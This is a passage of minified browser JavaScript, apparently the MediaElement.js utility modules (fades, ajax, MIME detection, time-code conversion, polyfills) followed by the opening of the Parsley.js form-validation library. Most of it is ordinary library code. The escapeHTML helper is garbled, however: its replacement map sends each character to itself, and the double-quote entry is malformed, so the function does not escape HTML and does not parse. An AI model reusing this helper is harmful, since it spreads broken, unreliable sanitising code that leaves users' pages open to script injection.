a=o-(i=i||o),s=parseFloat(1-a/t,2);e.style.opacity=s<0?0:s,a>t?n&&"function"==typeof n&&n():f["default"].requestAnimationFrame(r)})}function l(e){var t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:400,n=arguments[2];e.style.opacity||(e.style.opacity=0);var i=null;f["default"].requestAnimationFrame(function r(o){var a=o-(i=i||o),s=parseFloat(a/t,2);e.style.opacity=s>1?1:s,a>t?n&&"function"==typeof n&&n():f["default"].requestAnimationFrame(r)})}function c(e,t){var n=[];e=e.parentNode.firstChild;do{t&&!t(e)||n.push(e)}while(e=e.nextSibling);return n}function u(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)}function d(e,t,n,i){var r=f["default"].XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP"),o="application/x-www-form-urlencoded; charset=UTF-8",a=!1,s="*/".concat("*");switch(t){case"text":o="text/plain";break;case"json":o="application/json, text/javascript";break;case"html":o="text/html";break;case"xml":o="application/xml, text/xml"}"application/x-www-form-urlencoded"!==o&&(s=o+", */*; q=0.01"),r&&(r.open("GET",e,!0),r.setRequestHeader("Accept",s),r.onreadystatechange=function(){if(!a&&4===r.readyState)if(200===r.status){a=!0;var e=void 0;switch(t){case"json":e=JSON.parse(r.responseText);break;case"xml":e=r.responseXML;break;default:e=r.responseText}n(e)}else"function"==typeof i&&i(r.status)},r.send())}Object.defineProperty(n,"__esModule",{value:!0}),n.removeClass=n.addClass=n.hasClass=undefined,n.loadScript=r,n.offset=o,n.toggleClass=a,n.fadeOut=s,n.fadeIn=l,n.siblings=c,n.visible=u,n.ajax=d;var f=i(e(3)),p=i(e(2)),h=i(e(7)),m=void 0,g=void 0,y=void 0;"classList"in p["default"].documentElement?(m=function(e,t){return e.classList!==undefined&&e.classList.contains(t)},g=function(e,t){return e.classList.add(t)},y=function(e,t){return e.classList.remove(t)}):(m=function(e,t){return new RegExp("\\b"+t+"\\b").test(e.className)},g=function(e,t){v(e,t)||(e.className+=" "+t)},y=function(e,t){e.className=e.className.replace(new RegExp("\\b"+t+"\\b","g"),"")});var v=n.hasClass=m,b=n.addClass=g,_=n.removeClass=y;h["default"].Utils=h["default"].Utils||{},h["default"].Utils.offset=o,h["default"].Utils.hasClass=v,h["default"].Utils.addClass=b,h["default"].Utils.removeClass=_,h["default"].Utils.toggleClass=a,h["default"].Utils.fadeIn=l,h["default"].Utils.fadeOut=s,h["default"].Utils.siblings=c,h["default"].Utils.visible=u,h["default"].Utils.ajax=d,h["default"].Utils.loadScript=r},{2:2,3:3,7:7}],27:[function(e,t,n){"use strict";function i(e){return e&&e.__esModule?e:{"default":e}}function r(e){if("string"!=typeof e)throw new Error("Argument passed must be a string");var t={"&":"&","<":"<",">":">",'"':"""};return e.replace(/[&<>"]/g,function(e){return t[e]})}function o(e,t){var n=this,i=arguments,r=arguments.length>2&&arguments[2]!==undefined&&arguments[2];if("function"!=typeof e)throw new Error("First argument must be a function");if("number"!=typeof t)throw new Error("Second argument must be a numeric value");var o=void 0;return function(){var a=n,s=i,l=function(){o=null,r||e.apply(a,s)},c=r&&!o;clearTimeout(o),o=setTimeout(l,t),c&&e.apply(a,s)}}function a(e){return Object.getOwnPropertyNames(e).length<=0}function s(e,t){var n=/^((after|before)print|(before)?unload|hashchange|message|o(ff|n)line|page(hide|show)|popstate|resize|storage)\b/,i={d:[],w:[]};return(e||"").split(" ").forEach(function(e){var r=e+(t?"."+t:"");r.startsWith(".")?(i.d.push(r),i.w.push(r)):i[n.test(e)?"w":"d"].push(r)}),i.d=i.d.join(" "),i.w=i.w.join(" "),i}function l(e,t){if("string"!=typeof e)throw new Error("Event name must be a string");var n=e.match(/([a-z]+\.([a-z]+))/i),i={target:t};return null!==n&&(e=n[1],i.namespace=n[2]),new window.CustomEvent(e,{detail:i})}function c(e,t){return!!(e&&t&&2&e.compareDocumentPosition(t))}function u(e){return"string"==typeof e}Object.defineProperty(n,"__esModule",{value:!0}),n.escapeHTML=r,n.debounce=o,n.isObjectEmpty=a,n.splitEvents=s,n.createEvent=l,n.isNodeAfter=c,n.isString=u;var d=i(e(7));d["default"].Utils=d["default"].Utils||{},d["default"].Utils.escapeHTML=r,d["default"].Utils.debounce=o,d["default"].Utils.isObjectEmpty=a,d["default"].Utils.splitEvents=s,d["default"].Utils.createEvent=l,d["default"].Utils.isNodeAfter=c,d["default"].Utils.isString=u},{7:7}],28:[function(e,t,n){"use strict";function i(e){return e&&e.__esModule?e:{"default":e}}function r(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");var t=document.createElement("div");return t.innerHTML='<a href="'+(0,d.escapeHTML)(e)+'">x</a>',t.firstChild.href}function o(e){var t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:"";return e&&!t?s(e):t}function a(e){if("string"!=typeof e)throw new Error("`type` argument must be a string");return e&&e.indexOf(";")>-1?e.substr(0,e.indexOf(";")):e}function s(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");for(var t=0,n=f.length;t<n;t++){var i=f[t](e);if(i)return i}var r=c(l(e)),o="video/mp4";return r&&(~["mp4","m4v","ogg","ogv","webm","flv","mpeg","mov"].indexOf(r)?o="video/"+r:~["mp3","oga","wav","mid","midi"].indexOf(r)&&(o="audio/"+r)),o}function l(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");var t=e.split("?")[0].split("\\").pop().split("/").pop();return~t.indexOf(".")?t.substring(t.lastIndexOf(".")+1):""}function c(e){if("string"!=typeof e)throw new Error("`extension` argument must be a string");switch(e){case"mp4":case"m4v":return"mp4";case"webm":case"webma":case"webmv":return"webm";case"ogg":case"oga":case"ogv":return"ogg";default:return e}}Object.defineProperty(n,"__esModule",{value:!0}),n.typeChecks=undefined,n.absolutizeUrl=r,n.formatType=o,n.getMimeFromType=a,n.getTypeFromFile=s,n.getExtension=l,n.normalizeExtension=c;var u=i(e(7)),d=e(27),f=n.typeChecks=[];u["default"].Utils=u["default"].Utils||{},u["default"].Utils.typeChecks=f,u["default"].Utils.absolutizeUrl=r,u["default"].Utils.formatType=o,u["default"].Utils.getMimeFromType=a,u["default"].Utils.getTypeFromFile=s,u["default"].Utils.getExtension=l,u["default"].Utils.normalizeExtension=c},{27:27,7:7}],29:[function(e){"use strict";function t(e){return e&&e.__esModule?e:{"default":e}}var n,i=t(e(2)),r=t(e(4));[Element.prototype,CharacterData.prototype,DocumentType.prototype].forEach(function(e){e.hasOwnProperty("remove")||Object.defineProperty(e,"remove",{configurable:!0,enumerable:!0,writable:!0,value:function(){this.parentNode.removeChild(this)}})}),function(){function e(e,t){t=t||{bubbles:!1,cancelable:!1,detail:undefined};var n=i["default"].createEvent("CustomEvent");return n.initCustomEvent(e,t.bubbles,t.cancelable,t.detail),n}if("function"==typeof window.CustomEvent)return!1;e.prototype=window.Event.prototype,window.CustomEvent=e}(),"function"!=typeof Object.assign&&(Object.assign=function(e){if(null===e||e===undefined)throw new TypeError("Cannot convert undefined or null to object");for(var t=Object(e),n=1,i=arguments.length;n<i;n++){var r=arguments[n];if(null!==r)for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(t[o]=r[o])}return t}),String.prototype.startsWith||(String.prototype.startsWith=function(e,t){return t=t||0,this.substr(t,e.length)===e}),Element.prototype.matches||(Element.prototype.matches=Element.prototype.matchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector||Element.prototype.oMatchesSelector||Element.prototype.webkitMatchesSelector||function(e){for(var t=(this.document||this.ownerDocument).querySelectorAll(e),n=t.length-1;--n>=0&&t.item(n)!==this;);return n>-1}),window.Element&&!Element.prototype.closest&&(Element.prototype.closest=function(e){var t=(this.document||this.ownerDocument).querySelectorAll(e),n=void 0,i=this;do{for(n=t.length;--n>=0&&t.item(n)!==i;);}while(n<0&&(i=i.parentElement));return i}),function(){for(var e=0,t=["ms","moz","webkit","o"],n=0;n<t.length&&!window.requestAnimationFrame;++n)window.requestAnimationFrame=window[t[n]+"RequestAnimationFrame"],window.cancelAnimationFrame=window[t[n]+"CancelAnimationFrame"]||window[t[n]+"CancelRequestAnimationFrame"];window.requestAnimationFrame||(window.requestAnimationFrame=function(t){var n=(new Date).getTime(),i=Math.max(0,16-(n-e)),r=window.setTimeout(function(){t(n+i)},i);return e=n+i,r}),window.cancelAnimationFrame||(window.cancelAnimationFrame=function(e){clearTimeout(e)})}(),/firefox/i.test(navigator.userAgent)&&(window.mediaElementJsOldGetComputedStyle=window.getComputedStyle,window.getComputedStyle=function(e,t){var n=window.mediaElementJsOldGetComputedStyle(e,t);return null===n?{getPropertyValue:function(){}}:n}),window.Promise||(window.Promise=r["default"]),(n=window.Node||window.Element)&&n.prototype&&null===n.prototype.children&&Object.defineProperty(n.prototype,"children",{get:function(){for(var e=0,t=void 0,n=this.childNodes,i=[];t=n[e++];)1===t.nodeType&&i.push(t);return i}})},{2:2,4:4}],30:[function(e,t,n){"use strict";function i(e){return e&&e.__esModule?e:{"default":e}}function r(){return!((arguments.length>0&&arguments[0]!==undefined?arguments[0]:25)%1==0)}function o(e){var t=arguments.length>1&&arguments[1]!==undefined&&arguments[1],n=arguments.length>2&&arguments[2]!==undefined&&arguments[2],i=arguments.length>3&&arguments[3]!==undefined?arguments[3]:25,o=arguments.length>4&&arguments[4]!==undefined?arguments[4]:0;e=!e||"number"!=typeof e||e<0?0:e;var a=Math.round(.066666*i),s=Math.round(i),l=24*Math.round(3600*i),c=Math.round(600*i),u=r(i)?";":":",d=void 0,f=void 0,p=void 0,h=void 0,m=Math.round(e*i);if(r(i)){m<0&&(m=l+m);var g=(m%=l)%c;m+=9*a*Math.floor(m/c),g>a&&(m+=a*Math.floor((g-a)/Math.round(60*s-a)));var y=Math.floor(m/s);d=Math.floor(Math.floor(y/60)/60),f=Math.floor(y/60)%60,p=n?y%60:(m/s%60).toFixed(o)}else d=Math.floor(e/3600)%24,f=Math.floor(e/60)%60,p=n?Math.floor(e%60):(e%60).toFixed(o);d=d<=0?0:d;var v=t||d>0?(d<10?"0"+d:d)+":":"";return v+=((f=f<=0?0:f)<10?"0"+f:f)+":",v+=""+((p=p<=0?0:p)<10?"0"+p:p),n&&(v+=(h=(h=(m%s).toFixed(0))<=0?0:h)<10?u+"0"+h:""+u+h),v}function a(e){var t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:25;if("string"!=typeof e)throw new TypeError("Time must be a string");if(e.indexOf(";")>0&&(e=e.replace(";",":")),!/\d{2}(\:\d{2}){0,3}/i.test(e))throw new TypeError("Time code must have the format `00:00:00`");var n=e.split(":"),i=void 0,o=0,a=0,s=0,l=0,c=0,u=Math.round(.066666*t),d=Math.round(t),f=3600*d,p=60*d;switch(n.length){default:case 1:s=parseInt(n[0],10);break;case 2:a=parseInt(n[0],10),s=parseInt(n[1],10);break;case 3:o=parseInt(n[0],10),a=parseInt(n[1],10),s=parseInt(n[2],10);break;case 4:o=parseInt(n[0],10),a=parseInt(n[1],10),s=parseInt(n[2],10),l=parseInt(n[3],10)}return i=r(t)?f*o+p*a+d*s+l-u*((c=60*o+a)-Math.floor(c/10)):(f*o+p*a+t*s+l)/t,parseFloat(i.toFixed(3))}function s(e,t){var n=arguments.length>2&&arguments[2]!==undefined?arguments[2]:25;e=!e||"number"!=typeof e||e<0?0:e;for(var i=Math.floor(e/3600)%24,r=Math.floor(e/60)%60,o=Math.floor(e%60),a=[[Math.floor((e%1*n).toFixed(3)),"f"],[o,"s"],[r,"m"],[i,"h"]],s=t.timeFormat,l=s[1]===s[0],c=l?2:1,u=s.length<c?s[c]:":",d=s[0],f=!1,p=0,h=a.length;p<h;p++)if(~s.indexOf(a[p][1]))f=!0;else if(f){for(var m=!1,g=p;g<h;g++)if(a[g][0]>0){m=!0;break}if(!m)break;l||(s=d+s),s=a[p][1]+u+s,l&&(s=a[p][1]+s),d=a[p][1]}t.currentTimeFormat=s}function l(e){if("string"!=typeof e)throw new TypeError("Argument must be a string value");for(var t=~(e=e.replace(",",".")).indexOf(".")?e.split(".")[1].length:0,n=0,i=1,r=0,o=(e=e.split(":").reverse()).length;r<o;r++)i=1,r>0&&(i=Math.pow(60,r)),n+=Number(e[r])*i;return Number(n.toFixed(t))}Object.defineProperty(n,"__esModule",{value:!0}),n.isDropFrame=r,n.secondsToTimeCode=o,n.timeCodeToSeconds=a,n.calculateTimeFormat=s,n.convertSMPTEtoSeconds=l;var c=i(e(7));c["default"].Utils=c["default"].Utils||{},c["default"].Utils.secondsToTimeCode=o,c["default"].Utils.timeCodeToSeconds=a,c["default"].Utils.calculateTimeFormat=s,c["default"].Utils.convertSMPTEtoSeconds=l},{7:7}]},{},[29,6,5,15,23,20,19,21,22,24,16,18,17,9,10,11,12,13,14]),function(e){var t=function(e){this.messages={defaultMessage:"This value seems to be invalid.",type:{email:"This value should be a valid email.",url:"This value should be a valid url.",urlstrict:"This value should be a valid url.",number:"This value should be a valid number.",digits:"This value should be digits.",dateIso:"This value should be a valid date (YYYY-MM-DD).",alphanum:"This value should be alphanumeric.",phone:"This value should be a valid phone number."},notnull:"This value should not be null.",notblank:"This value should not be blank.",required:"This value is required.",regexp:"This value seems to be invalid.",min:"This value should be greater than or equal to %s.",max:"This value should be lower than or equal to %s.",range:"This value should be between %s and %s.",minlength:"This value is too short. It should have %s characters or more.",maxlength:"This value is too long. It should have %s characters or less.",rangelength:"This value length is invalid. It should be between %s and %s characters long.",mincheck:"You must select at least %s choices.",maxcheck:"You must select %s choices or less.",rangecheck:"You must select between %s and %s choices.",equalto:"This value should be the same."},this.init(e)};t.prototype={constructor:t,validators:{notnull:function(){return{validate:function(e){return 0<e.length},priority:2}},notblank:function(){return{validate:function(e){return"string"==typeof e&&""!==e.replace(/^\s+/g,"").replace(/\s+$/g,"")},priority:2}},required:function(){var e=this;return{validate:function(t){if("object"==typeof t){for(var n in t)if(e.required().validate(t[n]))return!0;return!1}return e.notnull().validate(t)&&e.notblank().validate(t)},priority:512}},type:function(){return{validate:function(e,t){var n;switch(t){case"number":n=/^-?(?:\d+|\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/;break;case"digits":n=/^\d+$/;break;case"alphanum":n=/^\w+$/;break;case"email":n=/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))){2,6}$/i;break;case"url":e=/(https?|s?ftp|git)/i.test(e)?e:"http://"+e;case"urlstrict":n=/^(https?|s?ftp|git):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i;break;case"dateIso":n=/^(\d{4})\D?(0[1-9]|1[0-2])\D?([12]\d|0[1-9]|3[01])$/;break;case"phone":n=/^((\+\d{1,3}(-| )?\(?\d\)?(-| )?\d{1,5})|(\(?\d{2,6}\)?))(-| )?(\d{3,4})(-| )?(\d{4})(( x| ext)\d{1,5}){0,1}$/;break;default:return!1}return""!==e&&n.test(e)},priority:256}},regexp:function(){return{validate:function(e,t,n){return RegExp(t,n.options.regexpFlag||"").test(e)},priority:64}},minlength:function(){return{validate:function(e,t){return e.length>=t},priority:32}},maxlength:function(){return{validate:function(e,t){return e.length<=t},priority:32}},rangelength:function(){var e=this;return{validate:function(t,n){return e.minlength().validate(t,n[0])&&e.maxlength().validate(t,n[1])},priority:32}},min:function(){return{validate:function(e,t){return Number(e)>=t},priority:32}},max:function(){return{validate:function(e,t){return Number(e)<=t},priority:32}},range:function(){var e=this;return{validate:function(t,n){return e.min().validate(t,n[0])&&e.max().validate(t,n[1])},priority:32}},equalto:function(){return{validate:function(t,n,i){return i.options.validateIfUnchanged=!0,t===e(n).val()},priority:64}},remote:function(){return{validate:function(t,n,i){var r={},o={};r[i.$element.attr("name")]=t,"undefined"!=typeof i.options.remoteDatatype&&(o={dataType:i.options.remoteDatatype});var a=function(t,n){void 0!==n&&"undefined"!=typeof i.Validator.messages.remote&&n!==i.Validator.messages.remote&&e(i.UI.ulError+" .remote").remove(),!1===t?i.options.listeners.onFieldError(i.element,i.constraints,i):!0===t&&!1===i.options.listeners.onFieldSuccess(i.element,i.constraints,i)&&(t=!1),i.updtConstraint({name:"remote",valid:t},n),i.manageValidationResult()},s=function(t){if("object"==typeof t)return t;try{t=e.parseJSON(t)}catch(n){}return t},l=function(e){return"object"==typeof e&&null!==e?"undefined"!=typeof e.error?e.error:"undefined"!=typeof e.message?e.message:null:null};return e.ajax(e.extend({},{url:n,data:r,type:i.options.remoteMethod||"GET",success:function(e){e=s(e),a(1===e||!0===e||"object"==typeof e&&null!==e&&"undefined"!=typeof e.success,l(e))},error:function(e){e=s(e),a(!1,l(e))}},o)),null},priority:64}},mincheck:function(){var e=this;return{validate:function(t,n){return e.minlength().validate(t,n)},priority:32}},maxcheck:function(){var e=this;return{validate:function(t,n){return e.maxlength().validate(t,n)},priority:32}},rangecheck:function(){var e=this;return{validate:function(t,n){return e.rangelength().validate(t,n)},priority:32}}},init:function(e){var t=e.validators;for(var n in e=e.messages,t)this.addValidator(n,t[n]);for(n in e)this.addMessage(n,e[n])},formatMesssage:function(e,t){if("object"==typeof t){for(var n in t)e=this.formatMesssage(e,t[n]);return e}return"string"==typeof e?e.replace(/%s/i,t):""},addValidator:function(e,t){if("undefined"==typeof t().validate)throw Error("Validator `"+e+"` must have a validate method. See more here: http://parsleyjs.org/documentation.html#javascript-general");"undefined"==typeof t().priority&&(t={validate:t().validate,priority:32},window.console&&window.console.warn&&window.console.warn("Validator `"+e+"` should have a priority. Default priority 32 given")),this.validators[e]=t},addMessage:function(e,t,n){if(void 0!==n&&!0===n)this.messages.type[e]=t;else if("type"===e)for(var i in t)this.messages.type[i]=t[i];else this.messages[e]=t}};var n=function(e){this.init(e)};n.prototype={constructor:n,init:function(e){this.ParsleyInstance=e,this.hash=e.hash,this.options=this.ParsleyInstance.options,this.errorClassHandler=this.options.errors.classHandler(this.ParsleyInstance.element,this.ParsleyInstance.isRadioOrCheckbox)||this.ParsleyInstance.$element,this.ulErrorManagement()},ulErrorManagement:function(){this.ulError="#"+this.hash,this.ulTemplate=e(this.options.errors.errorsWrapper).attr("id",this.hash).addClass("parsley-error-list")},removeError:function(t){t=this.ulError+" ."+t;var n=this;return this.options.animate?e(t).fadeOut(this.options.animateDuration,function(){e(this).remove(),n.ulError&&0===e(n.ulError).children().length&&n.removeErrors()}):e(t).remove(),this},addError:function(t){for(var n in t){var i=e(this.options.errors.errorElem).addClass(n);e(this.ulError).append(this.options.animate?e(i).html(t[n]).hide().fadeIn(this.options.animateDuration):e(i).html(t[n]))}return this},updateError:function(t){for(var n in t)t[n]!==e(this.ulError+" > li."+n).html()&&this.removeError(n).addError(t);return this},removeErrors:function(){return this.options.animate?e(this.ulError).fadeOut(this.options.animateDuration,function(){e(this).remove()}):e(this.ulError).remove(),this},reset:function(){for(var e in this.ParsleyInstance.valid=null,this.removeErrors(),this.ParsleyInstance.validatedOnce=!1,this.errorClassHandler.removeClass(this.options.successClass).removeClass(this.options.errorClass),this.constraints)this.constraints[e].valid=null;return this},manageError:function(t){if(e(this.ulError).length||this.manageErrorContainer(),"required"===t.name&&null!==this.ParsleyInstance.getVal()&&0<this.ParsleyInstance.getVal().length)return this;if(this.ParsleyInstance.isRequired&&"required"!==t.name&&(null===this.ParsleyInstance.getVal()||0===this.ParsleyInstance.getVal().length))return this.removeError(t.name),this;var n=t.name,i=!1!==this.options.errorMessage?"custom-error-message":n,r={};return t=!1!==this.options.errorMessage?this.options.errorMessage:"type"===t.name?this.ParsleyInstance.Validator.messages[n][t.requirements]:"undefined"==typeof this.ParsleyInstance.Validator.messages[n]?this.ParsleyInstance.Validator.messages.defaultMessage:this.ParsleyInstance.Validator.formatMesssage(this.ParsleyInstance.Validator.messages[n],t.requirements),r[i]=t,e(this.ulError+" ."+i).length?this.updateError(r):this.addError(r),this},manageErrorContainer:function(){var t=this.options.errorContainer||this.options.errors.container(this.ParsleyInstance.element,this.ParsleyInstance.isRadioOrCheckbox),n=this.options.animate?this.ulTemplate.css("display",""):this.ulTemplate;if(void 0===t)return this.ParsleyInstance.isRadioOrCheckbox?this.ParsleyInstance.$element.parent().after(n):this.ParsleyInstance.$element.after(n),this;e(t).append(n)}};var i=function(e,t,n){if(this.options=t,"ParsleyFieldMultiple"===n)return this;this.init(e,n||"ParsleyField")};i.prototype={constructor:i,init:function(i,r){this.type=r,this.valid=!0,this.element=i,this.validatedOnce=!1,this.$element=e(i),this.val=this.$element.val(),this.Validator=new t(this.options),this.isRequired=!1,this.constraints={},"undefined"==typeof this.isRadioOrCheckbox&&(this.isRadioOrCheckbox=!1,this.hash=this.generateHash()),this.UI=new n(this),this.options.useHtml5Constraints&&this.bindHtml5Constraints(),this.addConstraints(),this.hasConstraints()&&this.bindValidationEvents()},setParent:function(t){this.$parent=e(t)},getParent:function(){return this.$parent},bindHtml5Constraints:function(){(this.$element.hasClass("required")||this.$element.attr("required"))&&(this.options.required=!0);var e=this.$element.attr("type");void 0!==e&&RegExp(e,"i").test("email url number range tel")&&(this.options.type="tel"===e?"phone":e,RegExp(this.options.type,"i").test("number range")&&(this.options.type="number",void 0!==this.$element.attr("min")&&this.$element.attr("min").length&&(this.options.min=this.$element.attr("min")),void 0!==this.$element.attr("max")&&this.$element.attr("max").length&&(this.options.max=this.$element.attr("max")))),"string"==typeof this.$element.attr("pattern")&&this.$element.attr("pattern").length&&(this.options.regexp=this.$element.attr("pattern"))},addConstraints:function(){for(var e in this.options){var t={};t[e]=this.options[e],this.addConstraint(t,!0,!1)}},addConstraint:function(e,t){for(var n in e)n=n.toLowerCase(),"function"==typeof this.Validator.validators[n]&&(this.constraints[n]={name:n,requirements:e[n],valid:null},"required"===n&&(this.isRequired=!0),this.addCustomConstraintMessage(n));void 0===t&&this.bindValidationEvents()},updateConstraint:function(e,t){for(var n in e)this.updtConstraint({name:n,requirements:e[n],valid:null},t)},updtConstraint:function(t,n){this.constraints[t.name]=e.extend(!0,this.constraints[t.name],t),"string"==typeof n&&("type"===t.name?this.Validator.messages[t.name][t.requirements]=n:this.Validator.messages[t.name]=n),this.bindValidationEvents()},removeConstraint:function(e){e=e.toLowerCase(), delete this.constraints[e],"required"===e&&(this.isRequired=!1),this.hasConstraints()?this.bindValidationEvents():this.UI.reset()},addCustomConstraintMessage:function(e){var t=e+("type"===e&&"undefined"!=typeof this.options[e]?this.options[e].charAt(0).toUpperCase()+this.options[e].substr(1):"")+"Message";"undefined"!=typeof this.options[t]&&this.Validator.addMessage("type"===e?this.options[e]:e,this.options[t],"type"===e)},bindValidationEvents:function(){this.valid=null,this.$element.addClass("parsley-validated"),this.$element.off("."+this.type),this.options.remote&&!/change/i.test(this.options.trigger)&&(this.options.trigger=this.options.trigger?" change":"change");var t=(this.options.trigger?this.options.trigger:"")+(/key/i.test(this.options.trigger)?"":" keyup");this.$element.is("select")&&(t+=/change/i.test(t)?"":" change"),t=t.replace(/^\s+/g,"").replace(/\s+$/g,""),this.$element.on((t+" ").split(" ").join("."+this.type+" "),!1,e.proxy(this.eventValidation,this))},generateHash:function(){return"parsley-"+(Math.random()+"").substring(2)},getHash:function(){return this.hash},getVal:function(){return"undefined"!=typeof this.$element.domApi(this.options.namespace).value?this.$element.domApi(this.options.namespace).value:this.$element.val()},eventValidation:function(e){var t=this.getVal();if("keyup"===e.type&&!/keyup/i.test(this.options.trigger)&&!this.validatedOnce||"change"===e.type&&!/change/i.test(this.options.trigger)&&!this.validatedOnce||!this.isRadioOrCheckbox&&this.getLength(t)<this.options.validationMinlength&&!this.validatedOnce)return!0;this.validate()},getLength:function(e){return e&&e.hasOwnProperty("length")?e.length:0},isValid:function(){return this.validate(!1)},hasConstraints:function(){for(var e in this.constraints)return!0;return!1},validate:function(e){var t=this.getVal(),n=null;return!this.hasConstraints()||this.$element.is(this.options.excluded)?null:this.options.listeners.onFieldValidate(this.element,this)||""===t&&!this.isRequired?(this.UI.reset(),null):this.needsValidation(t)?(n=this.applyValidators(),(void 0!==e?e:this.options.showErrors)&&this.manageValidationResult(),n):this.valid},needsValidation:function(e){return!(!this.options.validateIfUnchanged&&null!==this.valid&&this.val===e&&this.validatedOnce)&&(this.val=e,this.validatedOnce=!0)},applyValidators:function(){var e,t=null;for(e in this.constraints){var n=this.Validator.validators[this.constraints[e].name]().validate(this.val,this.constraints[e].requirements,this);!1===n?(t=!1,this.constraints[e].valid=t):!0===n&&(this.constraints[e].valid=!0,t=!1!==t)}return!1===t?this.options.listeners.onFieldError(this.element,this.constraints,this):!0===t&&!1===this.options.listeners.onFieldSuccess(this.element,this.constraints,this)&&(t=!1),t},manageValidationResult:function(){var t,n=null,i=[];for(t in this.constraints)!1===this.constraints[t].valid?(i.push(this.constraints[t]),n=!1):!0===this.constraints[t].valid&&(this.UI.removeError(this.constraints[t].name),n=!1!==n);if(this.valid=n,!0===this.valid)return this.UI.removeErrors(),this.UI.errorClassHandler.removeClass(this.options.errorClass).addClass(this.options.successClass),!0;if(!1===this.valid){if(!0===this.options.priorityEnabled){n=0;for(var r,o=0;o<i.length;o++)(r=this.Validator.validators[i[o].name]().priority)>n&&(t=i[o],n=r);this.UI.manageError(t)}else for(o=0;o<i.length;o++)this.UI.manageError(i[o]);return this.UI.errorClassHandler.removeClass(this.options.successClass).addClass(this.options.errorClass),!1}return this.UI.ulError&&0===e(this.ulError).children().length&&this.UI.removeErrors(),n},addListener:function(e){for(var t in e)this.options.listeners[t]=e[t]},destroy:function(){this.$element.removeClass("parsley-validated"),this.UI.reset(),this.$element.off("."+this.type).removeData(this.type)}};var r=function(e,n,i){this.initMultiple(e,n),this.inherit(e,n),this.Validator=new t(n),this.init(e,i||"ParsleyFieldMultiple")};r.prototype={constructor:r,initMultiple:function(t,n){this.element=t,this.$element=e(t),this.group=n.group||!1,this.hash=this.getName(),this.siblings=this.group?"["+n.namespace+'group="'+this.group+'"]':'input[name="'+this.$element.attr("name")+'"]',this.isRadioOrCheckbox=!0,this.isRadio=this.$element.is("input[type=radio]"),this.isCheckbox=this.$element.is("input[type=checkbox]"),this.errorClassHandler=n.errors.classHandler(t,this.isRadioOrCheckbox)||this.$element.parent()},inherit:function(e,t){var n,r=new i(e,t,"ParsleyFieldMultiple");for(n in 